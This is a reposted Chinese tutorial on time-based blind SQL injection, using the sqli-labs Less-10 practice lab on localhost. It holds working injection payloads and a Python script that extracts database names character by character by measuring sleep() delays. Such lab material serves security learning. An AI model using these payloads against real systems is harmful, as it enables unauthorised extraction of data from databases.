SQL盲注——時間注入


時間盲注原理

既不回顯數據,也不回顯錯誤信息,所以不能通過頁面來判斷是否存在SQL注入漏洞
聯合查詢、報錯查詢和布爾盲注在此時就不起作用了
例:在登錄案例中,構造SQL語句,發送登錄請求,讓程序延時執行,判斷信息
構造邏輯語句,通過條件語句進行判斷,為真則立即執行,為假則延時執行
核心語法:if(left(user(),1)= ‘a’,0,sleep(3));

時間盲注方法

通過Less-10來進行測試
Less-10的代碼
在這里插入圖片描述

$id = '"'.$id.'"';                                                                                                                                                                                                                         
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

雙引號,不再是單引號
127.0.0.1/Less-10/?id=1" and if(left(user(),1)= ‘c’,0,sleep(10))–+
此時user()的第一個字符為’r’,所以執行后面的sleep(10),頁面響應明顯變慢

時間注入腳本編寫
在這里插入圖片描述
root@rane:~# cat timeBlindSql.py

import requests
import time
url = 'http://127.0.0.1/Less-10/?id=1'#存在時間盲注漏洞的地址
result=''
print('test')
database = 'select schema_name from information_schema.schemata'#多余的分號
table = 'select table_name from information_schema.tables where table_schema = "database_name"'
column = 'select column_name from information_schema.columns where table_name = "table_name"'
for i in range(1,100):
    for j in range(48,122):
        payload=r'" and if(ascii(substr(({} limit 0,1),{},1))={},sleep(2),0)--+'.format(database,i,j)
        stime=time.time()
        r=requests.get(url+payload)
        etime=time.time()
        if etime-stime>=2:
            result+=chr(j)
            print(result)
            break


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM